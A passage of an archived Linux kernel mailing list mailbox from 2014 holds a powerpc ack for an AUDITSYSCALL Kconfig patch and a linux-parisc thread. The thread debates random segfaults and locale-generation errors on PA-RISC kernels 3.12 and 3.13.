	by ozlabs.org (Postfix) with ESMTPSA id C51072C0090;
	Wed, 26 Feb 2014 23:31:36 +1100 (EST)
In-Reply-To: <1393319784-2758-2-git-send-email-takahiro.akashi@linaro.org>
X-Mailer: Evolution 3.8.4-0ubuntu1 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:23641 gmane.linux.uml.devel:14365 gmane.linux.ports.parisc:5707 gmane.linux.ports.sh.devel:32799 gmane.linux.kernel:1655945 gmane.linux.ports.alpha:2241 gmane.linux.uml.user:14640 gmane.linux.redhat.security.audit:5966 gmane.linux.ports.sparc:18710 gmane.linux.ports.ppc64.devel:99838 gmane.linux.ports.arm.kernel:304934
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/23641>

On Tue, 2014-02-25 at 18:16 +0900, AKASHI Takahiro wrote:
> Currently AUDITSYSCALL has a long list of architecture depencency:
>        depends on AUDIT && (X86 || PARISC || PPC || S390 || IA64 || UML ||
> 		SPARC64 || SUPERH || (ARM && AEABI && !OABI_COMPAT) || ALPHA)
> The purpose of this patch is to replace it with HAVE_ARCH_AUDITSYSCALL
> for simplicity.
> 
> Signed-off-by: AKASHI Takahiro <takahiro.akashi@linaro.org>
>
> diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
> index 957bf34..7b3b8fe 100644
> --- a/arch/powerpc/Kconfig
> +++ b/arch/powerpc/Kconfig
> @@ -141,6 +141,7 @@ config PPC
>  	select HAVE_DEBUG_STACKOVERFLOW
>  	select HAVE_IRQ_EXIT_ON_IRQ_STACK
>  	select ARCH_USE_CMPXCHG_LOCKREF if PPC64
> +	select HAVE_ARCH_AUDITSYSCALL
>  
>  config GENERIC_CSUM
>  	def_bool CPU_LITTLE_ENDIAN

Looks good for powerpc.

Acked-by: Michael Ellerman <mpe@ellerman.id.au>

cheers


--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Re: 3.12.8 is doing nasty things
Date: Wed, 26 Feb 2014 15:26:15 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <trinity-903a5549-9385-4d6f-b51b-4892f056a959-1393424775606@3capp-gmx-bs50>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de>
 <8596393.NVJnYl104a@caliban.sf-tec.de>
 <1712740.zFjPFKGkFe@caliban.sf-tec.de>,
 <5116135.sX67MB4Kjr@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1393424773 2575 80.91.229.3 (26 Feb 2014 14:26:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Feb 2014 14:26:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 26 15:26:19 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WIfRD-0005gu-3E
	for glpp-linux-parisc@plane.gmane.org; Wed, 26 Feb 2014 15:26:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751134AbaBZO0S (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Feb 2014 09:26:18 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:63605 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751019AbaBZO0S (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Feb 2014 09:26:18 -0500
Original-Received: from [155.56.68.216] by 3capp-gmx-bs50 with HTTP; Wed, 26 Feb 2014
 15:26:15 +0100
Importance: normal
Sensitivity: Normal
In-Reply-To: <5116135.sX67MB4Kjr@caliban.sf-tec.de>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:O3Hkgrza3yYac9rPBkiMnerjRbjeGbanNHuX2LXKY6H
 kKilvr7KR1uMYs3KfGZHegj9sWaUHc2anRyPvyeIXlEQZbaSVn
 kkmXKiA/gvmOUPATcasx+i91pOgvtXt5EY/wcaztPZghflFJxi
 7GvyxMZ2fzbPlmU0tPU7d1eRilPglKBOEiMD54J1nh/F9FE/i5
 IZYbv4TFD7WzOxc5cnw3/yCLpTzf8jf6Jnl0FMQWMwcvj3hi8l
 b65cjp4E5Bdc5g5XuZeRUlns9QSnKyq8hVbQjS6Q0zhS/KG/td YakL8U=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5708
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5708>

> > > > I'm now on 3.13.2 and things are similar. While I did an initial test
> > > > with
> > > > 100 invocations of ssh which went flawlessly I now see random process
> > > > errors again. Examples can be found here:
> > > > http://my.cdash.org/index.php?project=Qsmtp&date=2014-02-11
> > > > 
> > > > Normally the reports should have arrived much earlier, but for an
> > > > unknown
> > > > reason the resolv.conf (generated by DHCP) was empty, I assume that the
> > > > DHCP process has failed during while renewing the IP address. The
> > > > segfaults during the build have not happened with the older kernel.
> > > 
> > > I can now confirm that the cache coherency fixes are _not_ the reason for
> > > those failures I see. I have rebuild 3.13.2 without them and still see
> > > random segfaults in my dashboards. I'll try the mmap() patch next.
> > 
> > After 2,5 days with 3.13.2 and 0576da2c08e3d332f1b0653030d28ab804585ab6 I
> > have not yet seen a single random segfault.
> 
> A short update on this: I am still running on that kernel and have not seen a 
> single random process crash since then. I'm willing to help in debugging this 
> if anyone tells me how, but I will now just revert that patch from every new 
> kernel to get a stable machine.

On a debian-kernel linux-image-3.13-1-parisc64-smp (3.13.4-1) and the latest libc6
which Dave uploaded, I'm now seeing similiar issues which are most likely related:

lsXX:~# dpkg-reconfigure locales
Generating locales (this might take a while)...
  de_DE.ISO-8859-1...cannot map archive header: Invalid argument
 done
  de_DE.UTF-8...cannot map archive header: Invalid argument
 done
  de_DE.ISO-8859-15@euro...cannot map archive header: Invalid argument
 done
  en_US.ISO-8859-1...cannot map archive header: Invalid argument
 done
  en_US.ISO-8859-15...cannot map archive header: Invalid argument
 done
  en_US.UTF-8...cannot map archive header: Invalid argument
 done
Generation complete.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: 3.12.8 is doing nasty things
Date: Wed, 26 Feb 2014 11:00:01 -0500
Lines: 55
Approved: news@gmane.org
Message-ID: <BLU0-SMTP13B63E01B4FA0E673CD81997800@phx.gbl>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de> <8596393.NVJnYl104a@caliban.sf-tec.de> <1712740.zFjPFKGkFe@caliban.sf-tec.de>, <5116135.sX67MB4Kjr@caliban.sf-tec.de> <trinity-903a5549-9385-4d6f-b51b-4892f056a959-1393424775606@3capp-gmx-bs50>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1393430401 11562 80.91.229.3 (26 Feb 2014 16:00:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Feb 2014 16:00:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 26 17:00:09 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WIgtw-0006My-Mq
	for glpp-linux-parisc@plane.gmane.org; Wed, 26 Feb 2014 17:00:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751157AbaBZQAE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Feb 2014 11:00:04 -0500
Original-Received: from blu0-omc3-s15.blu0.hotmail.com ([65.55.116.90]:6037 "EHLO
	blu0-omc3-s15.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750943AbaBZQAD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Feb 2014 11:00:03 -0500
Original-Received: from BLU0-SMTP13 ([65.55.116.72]) by blu0-omc3-s15.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 26 Feb 2014 08:00:02 -0800
X-TMN: [9MNv9Lwz7RHm5tPHfKSU2lz/rOdcubCD]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([76.64.63.76]) by BLU0-SMTP13.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 26 Feb 2014 08:00:01 -0800
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0
In-Reply-To: <trinity-903a5549-9385-4d6f-b51b-4892f056a959-1393424775606@3capp-gmx-bs50>
X-OriginalArrivalTime: 26 Feb 2014 16:00:01.0173 (UTC) FILETIME=[CE0E3C50:01CF330B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5709
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5709>

On 2/26/2014 9:26 AM, Helge Deller wrote:
>>>>> I'm now on 3.13.2 and things are similar. While I did an initial test
>>>>> with
>>>>> 100 invocations of ssh which went flawlessly I now see random process
>>>>> errors again. Examples can be found here:
>>>>> http://my.cdash.org/index.php?project=Qsmtp&date=2014-02-11
>>>>>
>>>>> Normally the reports should have arrived much earlier, but for an
>>>>> unknown
>>>>> reason the resolv.conf (generated by DHCP) was empty, I assume that the
>>>>> DHCP process has failed during while renewing the IP address. The
>>>>> segfaults during the build have not happened with the older kernel.
>>>> I can now confirm that the cache coherency fixes are _not_ the reason for
>>>> those failures I see. I have rebuild 3.13.2 without them and still see
>>>> random segfaults in my dashboards. I'll try the mmap() patch next.
>>> After 2,5 days with 3.13.2 and 0576da2c08e3d332f1b0653030d28ab804585ab6 I
>>> have not yet seen a single random segfault.
>> A short update on this: I am still running on that kernel and have not seen a
>> single random process crash since then. I'm willing to help in debugging this
>> if anyone tells me how, but I will now just revert that patch from every new
>> kernel to get a stable machine.
> On a debian-kernel linux-image-3.13-1-parisc64-smp (3.13.4-1) and the latest libc6
> which Dave uploaded, I'm now seeing similiar issues which are most likely related:
>
> lsXX:~# dpkg-reconfigure locales
> Generating locales (this might take a while)...
>    de_DE.ISO-8859-1...cannot map archive header: Invalid argument
In my opinion, this is a glibc bug.  The issue has been discussed before.

I'm not seeing random segvs with 3.13.2 and later in general use.  I 
haven't reverted anything.

The only random program failures that I see are thread related. There 
are a bunch of failures
in the glibc testsuite, but these are not new.  There was a message on 
the console this morning about
reaching maximum lock depth 1024.  This was probably from glibc 
testsuite.  There is a known
issue with locking in glib2.0 which sometimes causes dot to segv.

If you are testing programs that use threads intensively, then I could 
see that you might see problems.

A TLS bug affecting thread local variables was recently fixed in gcc-4.8.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.12.8 is doing nasty things
Date: Wed, 26 Feb 2014 17:06:28 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <1708632.M6uBEiBPM4@eto>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de> <trinity-903a5549-9385-4d6f-b51b-4892f056a959-1393424775606@3capp-gmx-bs50> <BLU0-SMTP13B63E01B4FA0E673CD81997800@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1688059.OuzMYzfhht"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1393430797 16323 80.91.229.3 (26 Feb 2014 16:06:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Feb 2014 16:06:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 26 17:06:46 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WIh0J-0001KT-Az
	for glpp-linux-parisc@plane.gmane.org; Wed, 26 Feb 2014 17:06:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752044AbaBZQGi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Feb 2014 11:06:38 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:44779 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751936AbaBZQGh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Feb 2014 11:06:37 -0500
Original-Received: (qmail 26549 invoked from network); 26 Feb 2014 16:05:54 -0000
Original-Received: from dslb-178-003-166-151.pools.arcor-ip.net ([::ffff:178.3.166.151]:42555 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.26svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Wed, 26 Feb 2014 17:05:54 +0100
User-Agent: KMail/4.11.5 (Linux/3.10.10-25.g8038aea-desktop; KDE/4.11.5; x86_64; ; )
In-Reply-To: <BLU0-SMTP13B63E01B4FA0E673CD81997800@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5710
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5710>


--nextPart1688059.OuzMYzfhht
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Mittwoch 26 Februar 2014, 11:00:01 schrieben Sie:
> On 2/26/2014 9:26 AM, Helge Deller wrote:

>>>> After 2,5 days with 3.13.2 and 0576da2c08e3d332f1b0653030d28ab804585ab6
>>>> I have not yet seen a single random segfault.
> >> 
> >> A short update on this: I am still running on that kernel and have not
> >> seen a single random process crash since then. I'm willing to help in
> >> debugging this if anyone tells me how, but I will now just revert that
> >> patch from every new kernel to get a stable machine.
> > 
> > On a debian-kernel linux-image-3.13-1-parisc64-smp (3.13.4-1) and the
> > latest libc6 which Dave uploaded, I'm now seeing similiar issues which
> > are most likely related:
> > 
> > lsXX:~# dpkg-reconfigure locales
> > Generating locales (this might take a while)...
> > 
> >    de_DE.ISO-8859-1...cannot map archive header: Invalid argument
> 
> In my opinion, this is a glibc bug.  The issue has been discussed before.
> 
> I'm not seeing random segvs with 3.13.2 and later in general use.  I
> haven't reverted anything.
> 
> The only random program failures that I see are thread related. There
> are a bunch of failures
> in the glibc testsuite, but these are not new.  There was a message on
> the console this morning about
> reaching maximum lock depth 1024.  This was probably from glibc
> testsuite.  There is a known
> issue with locking in glib2.0 which sometimes causes dot to segv.
> 
> If you are testing programs that use threads intensively, then I could
> see that you might see problems.
> 
> A TLS bug affecting thread local variables was recently fixed in gcc-4.8.

I don't think this is the problem that I'm seeing. What crashed was things 
like make or ld which don't care for threads.

Eike
--nextPart1688059.OuzMYzfhht
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlMOEQsACgkQXKSJPmm5/E7FvgCglXDoNhCdPVhqH4k1/+wIoT8t
174AnAsX0EyiyUW+QrFWeXAvZ544aLBD
=n0et
-----END PGP SIGNATURE-----

--nextPart1688059.OuzMYzfhht--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.12.8 is doing nasty things
Date: Wed, 26 Feb 2014 20:20:04 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20140226202004.4c242fcf@marga.jer-c2.orkz.net>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de>
 <8596393.NVJnYl104a@caliban.sf-tec.de>
 <1712740.zFjPFKGkFe@caliban.sf-tec.de>
 <5116135.sX67MB4Kjr@caliban.sf-tec.de>
 <trinity-903a5549-9385-4d6f-b51b-4892f056a959-1393424775606@3capp-gmx-bs50>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1393442440 1699 80.91.229.3 (26 Feb 2014 19:20:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Feb 2014 19:20:40 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>,
	"Rolf Eike Beer" <eike-kernel@sf-tec.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 26 20:20:48 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WIk2B-0002PL-DL
	for glpp-linux-parisc@plane.gmane.org; Wed, 26 Feb 2014 20:20:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753178AbaBZTUq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Feb 2014 14:20:46 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:54872 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752720AbaBZTUp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Feb 2014 14:20:45 -0500
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 4CC3A33FCF5;
	Wed, 26 Feb 2014 19:20:44 +0000 (UTC)
In-Reply-To: <trinity-903a5549-9385-4d6f-b51b-4892f056a959-1393424775606@3capp-gmx-bs50>
X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5711
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5711>

On Wed, 26 Feb 2014 15:26:15 +0100
"Helge Deller" <deller@gmx.de> wrote:

> On a debian-kernel linux-image-3.13-1-parisc64-smp (3.13.4-1) and the
> latest libc6 which Dave uploaded, I'm now seeing similiar issues
> which are most likely related:
> 
> lsXX:~# dpkg-reconfigure locales
> Generating locales (this might take a while)...
>   de_DE.ISO-8859-1...cannot map archive header: Invalid argument
>  done

That isn't the same problem with the random segmentation faults that
this thread documents.


     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: 3.12.8 is doing nasty things
Date: Wed, 26 Feb 2014 21:32:38 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20140226193238.GA671@drone.musicnaut.iki.fi>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de>
 <8596393.NVJnYl104a@caliban.sf-tec.de>
 <1712740.zFjPFKGkFe@caliban.sf-tec.de>
 <5116135.sX67MB4Kjr@caliban.sf-tec.de>
 <trinity-903a5549-9385-4d6f-b51b-4892f056a959-1393424775606@3capp-gmx-bs50>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1393443224 11440 80.91.229.3 (26 Feb 2014 19:33:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Feb 2014 19:33:44 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 26 20:33:52 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WIkEl-0005PK-Vs
	for glpp-linux-parisc@plane.gmane.org; Wed, 26 Feb 2014 20:33:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753367AbaBZTdr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Feb 2014 14:33:47 -0500
Original-Received: from filtteri5.pp.htv.fi ([213.243.153.188]:39037 "EHLO
	filtteri5.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753125AbaBZTdr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Feb 2014 14:33:47 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri5.pp.htv.fi (Postfix) with ESMTP id 92A0F5A72E1;
	Wed, 26 Feb 2014 21:33:43 +0200 (EET)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp6.welho.com ([213.243.153.40])
	by localhost (filtteri5.pp.htv.fi [213.243.153.188]) (amavisd-new, port 10024)
	with ESMTP id E-Fq69FlU1uv; Wed, 26 Feb 2014 21:33:39 +0200 (EET)
Original-Received: from drone (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp6.welho.com (Postfix) with ESMTP id A8B615BC008;
	Wed, 26 Feb 2014 21:33:41 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <trinity-903a5549-9385-4d6f-b51b-4892f056a959-1393424775606@3capp-gmx-bs50>
User-Agent: Mutt/1.5.22 (2013-10-16)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5712
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5712>

On Wed, Feb 26, 2014 at 03:26:15PM +0100, Helge Deller wrote:
> On a debian-kernel linux-image-3.13-1-parisc64-smp (3.13.4-1) and the latest libc6
> which Dave uploaded, I'm now seeing similiar issues which are most likely related:
> 
> lsXX:~# dpkg-reconfigure locales
> Generating locales (this might take a while)...
>   de_DE.ISO-8859-1...cannot map archive header: Invalid argument

This is caused by this: http://marc.info/?l=linux-parisc&m=138748066325722&w=2

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.12.8 is doing nasty things
Date: Wed, 26 Feb 2014 14:33:57 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <BLU0-SMTP64C6BF264662B9B888D73397800@phx.gbl>
References: <2696873.HIAXvrDslF@caliban.sf-tec.de> <8596393.NVJnYl104a@caliban.sf-tec.de> <1712740.zFjPFKGkFe@caliban.sf-tec.de> <5116135.sX67MB4Kjr@caliban.sf-tec.de> <trinity-903a5549-9385-4d6f-b51b-4892f056a959-1393424775606@3capp-gmx-bs50> <20140226202004.4c242fcf@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1393443242 11629 80.91.229.3 (26 Feb 2014 19:34:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Feb 2014 19:34:02 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
To: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 26 20:34:08 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WIkEx-0005PK-1D
	for glpp-linux-parisc@plane.gmane.org; Wed, 26 Feb 2014 20:33:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753384AbaBZTd6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Feb 2014 14:33:58 -0500
Original-Received: from blu0-omc3-s35.blu0.hotmail.com ([65.55.116.110]:15808 "EHLO
	blu0-omc3-s35.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753125AbaBZTd6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Feb 2014 14:33:58 -0500
Original-Received: from BLU0-SMTP64 ([65.55.116.73]) by blu0-omc3-s35.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 26 Feb 2014 11:33:57 -0800
X-TMN: [GbwVjXiXNpTNZY4UX+oRS1auD1BVXSQ1]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([76.64.63.76]) by BLU0-SMTP64.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 26 Feb 2014 11:33:57 -0800
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0
In-Reply-To: <20140226202004.4c242fcf@marga.jer-c2.orkz.net>
X-OriginalArrivalTime: 26 Feb 2014 19:33:57.0126 (UTC) FILETIME=[B0E13A60:01CF3329]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5713
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5713>

On 2/26/2014 2:20 PM, Jeroen Roovers wrote:
> On Wed, 26 Feb 2014 15:26:15 +0100
> "Helge Deller" <deller@gmx.de> wrote:
>
>> On a debian-kernel linux-image-3.13-1-parisc64-smp (3.13.4-1) and the
>> latest libc6 which Dave uploaded, I'm now seeing similiar issues
